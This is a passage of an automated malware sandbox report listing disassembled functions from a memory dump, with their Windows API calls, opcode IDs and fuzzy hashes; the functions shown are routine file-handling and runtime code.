Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 1825e0504ab4d5c7b468cc30ab6b6a82563dfd7c07d4d2b3e902aa4a9c098c11
Instruction ID: e12ef8f14c35e8595e65448b1faa2fec0387f488c90e0e42091709686e4532c7
Opcode Fuzzy Hash: 1825e0504ab4d5c7b468cc30ab6b6a82563dfd7c07d4d2b3e902aa4a9c098c11
Instruction Fuzzy Hash: BD01B135610314AEEF21AB754C0ABED328C9F0A780F044424F901E60D1D768DA8196F6

Function 0092B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0092B8B8

Strings

, xrefs: 0092B8FD

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: ce1af82b61ed5b25c1ff2028cc32b8cb060dadbf54c0563d0666b6fc99f513be
Instruction ID: e6ef189af8f2673d02208451c882723028492461ac79fca7a26ba4131e1ca8cb
Opcode Fuzzy Hash: ce1af82b61ed5b25c1ff2028cc32b8cb060dadbf54c0563d0666b6fc99f513be
Instruction Fuzzy Hash: 6B4129755042AC9EDF218E28DC84BF6BBEDDB45308F1408ECE69A86146D3359A85DF60

Function 0092AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 0092AFDD

Strings

LCMapStringEx, xrefs: 0092AF7D, 0092AF87

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 8d6bc9c92abfbdd7b78624a8acc439ad62b14c38c7052460e98da6263f7fe664
Instruction ID: 0e4449ebafe9d16f32464856d00ee6ebc84a853fca4d7c253bfbe6ba4982b899
Opcode Fuzzy Hash: 8d6bc9c92abfbdd7b78624a8acc439ad62b14c38c7052460e98da6263f7fe664
Instruction Fuzzy Hash: D9014C7254411EBBCF129F90ED01EEE7F62EF48754F014254FE1465160C6368931EF81

Function 0092AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0092A56F), ref: 0092AF55

Strings

InitializeCriticalSectionEx, xrefs: 0092AF1B, 0092AF25

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: ba8f49aa1f6b4b5864426ab4bd10d9d805f8bf508951a824bfc2ceb1fdb30d04
Instruction ID: 1e9b6eab123e4d0c87817be0d5fdff760de6b9236ef7228996978804e4b168ad
Opcode Fuzzy Hash: ba8f49aa1f6b4b5864426ab4bd10d9d805f8bf508951a824bfc2ceb1fdb30d04
Instruction Fuzzy Hash: 31F0B47668921CBBCB115F95DC02EAEBF61EF44711F014165FD0956260DA315A10AF86

Function 0092ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0092ADEE

Strings

FlsAlloc, xrefs: 0092ADC0, 0092ADCA

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 66a099eb437a7cb7c83a5ef98a598b2c43de762311bcc488bb053c9f6b48306b
Instruction ID: 41ab33e9feee32ad22d99b0fe13c82f12e6e04935c64ac596297f28df411e95e
Opcode Fuzzy Hash: 66a099eb437a7cb7c83a5ef98a598b2c43de762311bcc488bb053c9f6b48306b
Instruction Fuzzy Hash: 43E0E57268922C7BC611ABA5EC02A6EBB54DB84721F0202A9FC0597280CD705E409ED6

Function 0091EAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091EAF9

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Strings

3Ro, xrefs: 0091EAE7, 0091EAF3

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 1a35ee2781db100ade516f357f008f089b93ca110b07eff813a9036a9101be09
Instruction ID: a6b7eb6a850400030effb9945a1af8e264a9b124e8b8ba201c71ed7ffc1fea01
Opcode Fuzzy Hash: 1a35ee2781db100ade516f357f008f089b93ca110b07eff813a9036a9101be09
Instruction Fuzzy Hash: 70B012CA39A5477C310462001D03C7B015CC9C1F95330C42EFC00E4481DC821C860831

Function 0092BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0092B7BB: GetOEMCP.KERNEL32(00000000,?,?,0092BA44,?), ref: 0092B7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0092BA89,?,00000000), ref: 0092BC64
GetCPInfo.KERNEL32(00000000,0092BA89,?,?,?,0092BA89,?,00000000), ref: 0092BC77

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 3a20517717972d17a45f7c554e7537de08a4961e317db2c3a7ce3cce91983864
Instruction ID: ce2d1bde97889d8a2cfa5f882d048273538c7da970b511d3bafbc31f10366ccf
Opcode Fuzzy Hash: 3a20517717972d17a45f7c554e7537de08a4961e317db2c3a7ce3cce91983864
Instruction Fuzzy Hash: 195188B1A002659FDB20DF35E8817FBBBF8EF41300F18446ED4968B295D7389945DB90

Function 00909A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00909A50,?,?,00000000,?,?,00908CBC,?), ref: 00909BAB
GetLastError.KERNEL32(?,00000000,00908411,-00009570,00000000,000007F3), ref: 00909BB6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3a022cc5ebb632b2ea0816da8033679ca5577c365be3675815a8e074129a280f
Instruction ID: ef0e962f434bd79948a03d95de738a11e4ad9c2123438491ed6a6c76cc939490
Opcode Fuzzy Hash: 3a022cc5ebb632b2ea0816da8033679ca5577c365be3675815a8e074129a280f
Instruction Fuzzy Hash: D441E1306043028FDB24DF19E58456AB7E9FFD4730F148A2DE891832E2D774ED448B91

Function 0092BA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 009297E5: GetLastError.KERNEL32(?,00941030,00924674,00941030,?,?,00923F73,00000050,?,00941030,00000200), ref: 009297E9
Part of subcall function 009297E5: _free.LIBCMT ref: 0092981C
Part of subcall function 009297E5: SetLastError.KERNEL32(00000000,?,00941030,00000200), ref: 0092985D
Part of subcall function 009297E5: _abort.LIBCMT ref: 00929863

Part of subcall function 0092BB4E: _abort.LIBCMT ref: 0092BB80
Part of subcall function 0092BB4E: _free.LIBCMT ref: 0092BBB4

Part of subcall function 0092B7BB: GetOEMCP.KERNEL32(00000000,?,?,0092BA44,?), ref: 0092B7E6

_free.LIBCMT ref: 0092BA9F
_free.LIBCMT ref: 0092BAD5

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 2092c69c3351ed6febfc50a9646c70572c13e38f25720b3c13736bd6237d3139
Instruction ID: f45096ef73b5ecf0ef2086804ba0f73d2497f77d29cbecd5e6cbb0210d18edd1
Opcode Fuzzy Hash: 2092c69c3351ed6febfc50a9646c70572c13e38f25720b3c13736bd6237d3139
Instruction Fuzzy Hash: 3E31D931904229AFDB10EFA8F545B9D77F9EF80320F254099E5049B2A6EB329D40DB50

Function 00901E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00901E55

Part of subcall function 00903BBA: __EH_prolog.LIBCMT ref: 00903BBF

_wcslen.LIBCMT ref: 00901EFD

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: ee10395d9460e0b268adbae74942e3f195d81739a5d3442a94503b21f510f643
Instruction ID: cc5515e8effc673757cceb19eeb09f2c0967930c5e866d82013d669acdba59bb
Opcode Fuzzy Hash: ee10395d9460e0b268adbae74942e3f195d81739a5d3442a94503b21f510f643
Instruction Fuzzy Hash: 57315A71A04209AFCF11DF98C945AEEFBFAAF88304F10446EF845A7291CB365E40CB60

Function 00909DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,009073BC,?,?,?,00000000), ref: 00909DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00909E70

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 14a2372e9ebfdbc8eb2fa67aefdec93c2c76a8c1ff341e6277b363d49fef6868
Instruction ID: 4485c032a824d5342afd87a46b5f56659c4bae1b6fc56e3d3d4c62f75ecd328c
Opcode Fuzzy Hash: 14a2372e9ebfdbc8eb2fa67aefdec93c2c76a8c1ff341e6277b363d49fef6868
Instruction Fuzzy Hash: A621E131288246AFC714DF74C891AABBBE8AF95304F08491DF4D5871C2D329ED4DDB61

Function 0090966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00909F27,?,?,0090771A), ref: 009096E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00909F27,?,?,0090771A), ref: 00909716

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dd721efb4bd81bc5253d28e41d347ff1761a7673096452add25a94a4b6a1a29f
Instruction ID: 6b769e95a0b87f48a076a58071712e38256f6c00553527d4c79cb248a56efff5
Opcode Fuzzy Hash: dd721efb4bd81bc5253d28e41d347ff1761a7673096452add25a94a4b6a1a29f
Instruction Fuzzy Hash: E821F5B15043446FE3308A69CC89FF777DCEB49324F004A19F9D6C25D2C779A8849A71

Function 00909E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00909EC7
GetLastError.KERNEL32 ref: 00909ED4

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 2fc23d6ef95b42f807c9d907d38acf467da8df714286f8c6598e09cbb4661d57
Instruction ID: eacd9e9ab095b0a8f840b76237ee25fe1081dd5b401361e105e0eae323e3e278
Opcode Fuzzy Hash: 2fc23d6ef95b42f807c9d907d38acf467da8df714286f8c6598e09cbb4661d57
Instruction Fuzzy Hash: 8111E130640700AFE734C628CC84BA6B7EDAB45360F604A2AE163D26D1E774ED89CB60

Function 00928E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00928E75

Part of subcall function 00928E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0092CA2C,00000000,?,00926CBE,?,00000008,?,009291E0,?,?,?), ref: 00928E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00941098,009017CE,?,?,00000007,?,?,?,009013D6,?,00000000), ref: 00928EB1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 751e1e00e39e1fb80916e89756cebde331990c45a998418d24508de7f403b554
Instruction ID: ce7514b6df52978b7828ff53b09e1f48f8106cc7c31b8b0371f2ea38e843619c
Opcode Fuzzy Hash: 751e1e00e39e1fb80916e89756cebde331990c45a998418d24508de7f403b554
Instruction Fuzzy Hash: 64F0F63260713166DB213B26BC05B6F375C8FC1B70F264526F814AA1A9DF70DD0191E0

Function 0091109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 009110AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 009110B2

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: ccf9d78954481a4096e01cbdc8f6cd4a17fee5066f60d3e07e2bb4f9c2eeca24
Instruction ID: 86ba81bb0eba73e4594b49eb42676bd0bb1918ac6510f59419b7051cd8165cb2
Opcode Fuzzy Hash: ccf9d78954481a4096e01cbdc8f6cd4a17fee5066f60d3e07e2bb4f9c2eeca24
Instruction Fuzzy Hash: D6E0DF36F1014DB7CF0D8BB49C059EB73EDEA4820432081B9E613E7101F934EEC14AA0

Function 0090A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0090A325,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A501

Part of subcall function 0090BB03: _wcslen.LIBCMT ref: 0090BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0090A325,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A532

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 8b7bfb40ca293676ae48babc191f526effbd5528e82b7a1f84ba498749f01c5c
Instruction ID: c833e29d6390b6e4064ef21946aed6eec49c056984849c008ce125f7e0340a61
Opcode Fuzzy Hash: 8b7bfb40ca293676ae48babc191f526effbd5528e82b7a1f84ba498749f01c5c
Instruction Fuzzy Hash: 9FF0393225420DBBEF015F60DC45FDE37ACBF04386F488061B949D61A0DB71DAD8EA90

Function 0090A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0090977F,?,?,009095CF,?,?,?,?,?,00932641,000000FF), ref: 0090A1F1

Part of subcall function 0090BB03: _wcslen.LIBCMT ref: 0090BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0090977F,?,?,009095CF,?,?,?,?,?,00932641), ref: 0090A21F

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 063afbeae26b2573486eb9febe47d19a8b7e1d0996609ef4f3167cb26d3b8649
Instruction ID: d0d3ef622fbc4b4f0b827caf119980e84e0f88b844bcd0632dab81dbbf071fc5
Opcode Fuzzy Hash: 063afbeae26b2573486eb9febe47d19a8b7e1d0996609ef4f3167cb26d3b8649
Instruction Fuzzy Hash: 92E092312502097BDB015F65DC45FD9379CAF083C2F484021B944D2090EB61DEC4EB90

Function 0091AC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00932641,000000FF), ref: 0091ACB0
CoUninitialize.COMBASE(?,?,?,?,00932641,000000FF), ref: 0091ACB5

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
